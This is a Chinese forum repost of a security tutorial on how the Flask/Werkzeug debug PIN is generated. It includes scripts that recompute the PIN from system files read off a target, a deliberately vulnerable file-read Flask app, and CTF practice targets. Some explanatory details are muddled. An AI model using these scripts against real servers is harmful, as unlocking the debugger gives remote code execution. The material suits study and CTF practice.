深入浅出Flask PIN

打印 上一主题 下一主题

主题 927|帖子 927|积分 2781

最近搞SSTI,发现有的开发开了debug,由此想到了PIN,但一直没有对这个点做一个深入剖析,今天就完整的整理Flask Debug PIN码的生成原理与安全问题。
PIN是什么?

PIN是 Werkzeug(它是 Flask 的依赖项之一)提供的额外安全措施,以防止在不知道 PIN 的情况下访问调试器。 您可以使用浏览器中的调试器引脚来启动交互式调试器。
请注意,无论如何,您都不应该在生产环境中使用调试模式,因为错误的堆栈跟踪可能会揭示代码的多个方面。
调试器 PIN 只是一个附加的安全层,以防您无意中在生产应用程序中打开调试模式,从而使攻击者难以访问调试器。
——来自StackOverFlow回答
werkzeug不同版本以及python不同版本都会影响PIN码的生成
但是PIN码并不是随机生成,当我们重复运行同一程序时,生成的PIN一样,PIN码生成满足一定的生成算法
探寻PIN码生成算法

笔者环境

  • Python 3.10.2
  • Flask 2.0.3
  • PyCharm 2021.3.3 (Professional Edition)
  • Windows 10 专业版 21H2
  • Docker Desktop 4.7.0
先写一个简单的Flask测试程序
  1. from flask import Flask
  2. app = Flask(__name__)
  3. @app.route("/")
  4. def hello():
  5.     return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全。'
  6. if __name__ == "__main__":
  7.     app.run(host="0.0.0.0", port=8080, debug=True)
复制代码
  1. 运行,控制台状态如下
复制代码
[img=720,279.2009400705053]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_1.png[/img]
浏览器如下则成功
[img=720,183.0193548387097]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_2.png[/img]
接下来开始调试程序,顺藤摸瓜找到生成PIN码的函数
PIN码是werkzeug的策略,先找到flask中导入werkzeug的部分
 
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
调试

在run.app行下断点,点击调试
[img=720,454.593572778828]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_3.png[/img]
点击步入
[img=720,520.9756097560976]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_4.png[/img]
转到了flask/app.py,直接Ctrl+F搜索werkzeug
[img=720,249.48616600790513]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_5.png[/img]
发现程序从werkzeug导入了run_simple模块,而且try部分有run app的参数
我们直接按住ctrl点击run_simple进去看看
此时进入了seving.py,找到了负责Debug的部分,PIN码是在debug状态下才有的,那这个部分很有可能存有PIN码生成部分,进去看看
[img=720,236.34232121922625]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_6.png[/img]
此时进入了__init__.py,经过一番审计,先来看一看pin函数
[img=720,174.59783913565425]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_7.png[/img]
主要是get_pin_and_cookie_name函数,进去看看
  1. def get_pin_and_cookie_name(
  2.     app: "WSGIApplication",
  3. ) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
  4.     """Given an application object this returns a semi-stable 9 digit pin
  5.     code and a random key.  The hope is that this is stable between
  6.     restarts to not make debugging particularly frustrating.  If the pin
  7.     was forcefully disabled this returns `None`.
  8.     Second item in the resulting tuple is the cookie name for remembering.
  9.     """
  10.     pin = os.environ.get("WERKZEUG_DEBUG_PIN")
  11.     rv = None
  12.     num = None
  13.     # Pin was explicitly disabled
  14.     if pin == "off":
  15.         return None, None
  16.     # Pin was provided explicitly
  17.     if pin is not None and pin.replace("-", "").isdigit():
  18.         # If there are separators in the pin, return it directly
  19.         if "-" in pin:
  20.             rv = pin
  21.         else:
  22.             num = pin
  23.     modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
  24.     username: t.Optional[str]
  25.     try:
  26.         # getuser imports the pwd module, which does not exist in Google
  27.         # App Engine. It may also raise a KeyError if the UID does not
  28.         # have a username, such as in Docker.
  29.         username = getpass.getuser()
  30.     except (ImportError, KeyError):
  31.         username = None
  32.     mod = sys.modules.get(modname)
  33.     # This information only exists to make the cookie unique on the
  34.     # computer, not as a security feature.
  35.     probably_public_bits = [
  36.         username,
  37.         modname,
  38.         getattr(app, "__name__", type(app).__name__),
  39.         getattr(mod, "__file__", None),
  40.     ]
  41.     # This information is here to make it harder for an attacker to
  42.     # guess the cookie name.  They are unlikely to be contained anywhere
  43.     # within the unauthenticated debug page.
  44.     private_bits = [str(uuid.getnode()), get_machine_id()]
  45.     h = hashlib.sha1()
  46.     for bit in chain(probably_public_bits, private_bits):
  47.         if not bit:
  48.             continue
  49.         if isinstance(bit, str):
  50.             bit = bit.encode("utf-8")
  51.         h.update(bit)
  52.     h.update(b"cookiesalt")
  53.     cookie_name = f"__wzd{h.hexdigest()[:20]}"
  54.     # If we need to generate a pin we salt it a bit more so that we don't
  55.     # end up with the same value and generate out 9 digits
  56.     if num is None:
  57.         h.update(b"pinsalt")
  58.         num = f"{int(h.hexdigest(), 16):09d}"[:9]
  59.     # Format the pincode in groups of digits for easier remembering if
  60.     # we don't have a result yet.
  61.     if rv is None:
  62.         for group_size in 5, 4, 3:
  63.             if len(num) % group_size == 0:
  64.                 rv = "-".join(
  65.                     num[x : x + group_size].rjust(group_size, "0")
  66.                     for x in range(0, len(num), group_size)
  67.                 )
  68.                 break
  69.         else:
  70.             rv = num
  71.     return rv, cookie_name
复制代码
 
返回的rv就是PIN码,但这个函数核心是将列表里的值hash,我们不需要去读懂这段代码,只需要将列表里的值填上直接运行代码就行。
生成要素:

username

通过getpass.getuser()读取,通过文件读取/etc/passwd
modname

通过getattr(mod,“file”,None)读取,默认值为flask.app
appname

通过getattr(app,“name”,type(app).name)读取,默认值为Flask
moddir

当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取
uuidnode

通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
machine_id

每一个机器都会有自已唯一的id,machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
当这6个值我们可以获取到时,就可以推算出生成的PIN码
生成算法

修改一下就是PIN生成算法
  1. import hashlib
  2. from itertools import chain
  3. probably_public_bits = [
  4.     'root',  # username
  5.     'flask.app',  # modname
  6.     'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
  7.     '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
  8. ]
  9. # This information is here to make it harder for an attacker to
  10. # guess the cookie name.  They are unlikely to be contained anywhere
  11. # within the unauthenticated debug page.
  12. private_bits = [
  13.     '2485377957890',  # str(uuid.getnode()),  /sys/class/net/ens33/address
  14.     # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
  15.     '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b'
  16. ]
  17. h = hashlib.sha1()
  18. for bit in chain(probably_public_bits, private_bits):
  19.     if not bit:
  20.         continue
  21.     if isinstance(bit, str):
  22.         bit = bit.encode("utf-8")
  23.     h.update(bit)
  24. h.update(b"cookiesalt")
  25. cookie_name = f"__wzd{h.hexdigest()[:20]}"
  26. # If we need to generate a pin we salt it a bit more so that we don't
  27. # end up with the same value and generate out 9 digits
  28. num = None
  29. if num is None:
  30.     h.update(b"pinsalt")
  31.     num = f"{int(h.hexdigest(), 16):09d}"[:9]
  32. # Format the pincode in groups of digits for easier remembering if
  33. # we don't have a result yet.
  34. rv = None
  35. if rv is None:
  36.     for group_size in 5, 4, 3:
  37.         if len(num) % group_size == 0:
  38.             rv = "-".join(
  39.                 num[x: x + group_size].rjust(group_size, "0")
  40.                 for x in range(0, len(num), group_size)
  41.             )
  42.             break
  43.     else:
  44.         rv = num
  45. print(rv)
复制代码
 
然后这里还有一个点,python不同版本的算法区别
不同版本算法区别

3.6采用MD5加密,3.8采用sha1加密,所以脚本有所不同
3.6 MD5
  1. #MD5
  2. import hashlib
  3. from itertools import chain
  4. probably_public_bits = [
  5.      'flaskweb'
  6.      'flask.app',
  7.      'Flask',
  8.      '/usr/local/lib/python3.7/site-packages/flask/app.py'
  9. ]
  10. private_bits = [
  11.      '25214234362297',
  12.      '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
  13. ]
  14. h = hashlib.md5()
  15. for bit in chain(probably_public_bits, private_bits):
  16.     if not bit:
  17.         continue
  18.     if isinstance(bit, str):
  19.         bit = bit.encode('utf-8')
  20.     h.update(bit)
  21. h.update(b'cookiesalt')
  22. cookie_name = '__wzd' + h.hexdigest()[:20]
  23. num = None
  24. if num is None:
  25.    h.update(b'pinsalt')
  26.    num = ('%09d' % int(h.hexdigest(), 16))[:9]
  27. rv =None
  28. if rv is None:
  29.    for group_size in 5, 4, 3:
  30.        if len(num) % group_size == 0:
  31.           rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
  32.                       for x in range(0, len(num), group_size))
  33.           break
  34.        else:
  35.           rv = num
  36. print(rv)
复制代码
 
3.8 SHA1
  1. #sha1
  2. import hashlib
  3. from itertools import chain
  4. probably_public_bits = [
  5.     'root'
  6.     'flask.app',
  7.     'Flask',
  8.     '/usr/local/lib/python3.8/site-packages/flask/app.py'
  9. ]
  10. private_bits = [
  11.     '2485377581187',
  12.     '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
  13. ]
  14. h = hashlib.sha1()
  15. for bit in chain(probably_public_bits, private_bits):
  16.     if not bit:
  17.         continue
  18.     if isinstance(bit, str):
  19.         bit = bit.encode('utf-8')
  20.     h.update(bit)
  21. h.update(b'cookiesalt')
  22. cookie_name = '__wzd' + h.hexdigest()[:20]
  23. num = None
  24. if num is None:
  25.     h.update(b'pinsalt')
  26.     num = ('%09d' % int(h.hexdigest(), 16))[:9]
  27. rv =None
  28. if rv is None:
  29.     for group_size in 5, 4, 3:
  30.         if len(num) % group_size == 0:
  31.             rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
  32.                           for x in range(0, len(num), group_size))
  33.             break
  34.     else:
  35.         rv = num
  36. print(rv)
复制代码
 
其实最稳妥的方法就是自己调试,把自己版本的生成PIN部分提取出来,把num和rv改成None,直接print rv就行
docker测试

本地docker在Windows上
我们将上面的测试代码修改为下,加入文件读取功能,并且return 0当我们传值错误可出发debug模式
  1. from flask import Flask, request
  2. app = Flask(__name__)
  3. @app.route("/")
  4. def hello():
  5.     return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全。'
  6. @app.route("/file")
  7. def file():
  8.     filename = request.args.get('filename')
  9.     try:
  10.         with open(filename, 'r') as f:
  11.             return f.read()
  12.     except:
  13.         return 0
  14. if __name__ == "__main__":
  15.     app.run(host="0.0.0.0", port=9000, debug=True)
复制代码
 
回到我们的环境,模块路径通过传入错误文件名触发报错可得到,主要就是machine-id,其他部分直接出的就不用看了,docker环境只需要后俩

[img=720,218.1067125645439]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_9.png[/img]
拼接起来,代入程序,直接运行

与环境里的一致
[img=720,233.28]https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/Flask_Debug_PIN_11.png[/img]
如果大家嫌开环境麻烦这里推荐两个线上靶场,这俩都是计算PIN

  • [GYCTF2020]FlaskApp——BUUCTF
  • web801——CTFshow
更多靶场实验练习、网安学习资料,请点击这里>>
[code][/code]搜索
复制

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

我可以不吃啊

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表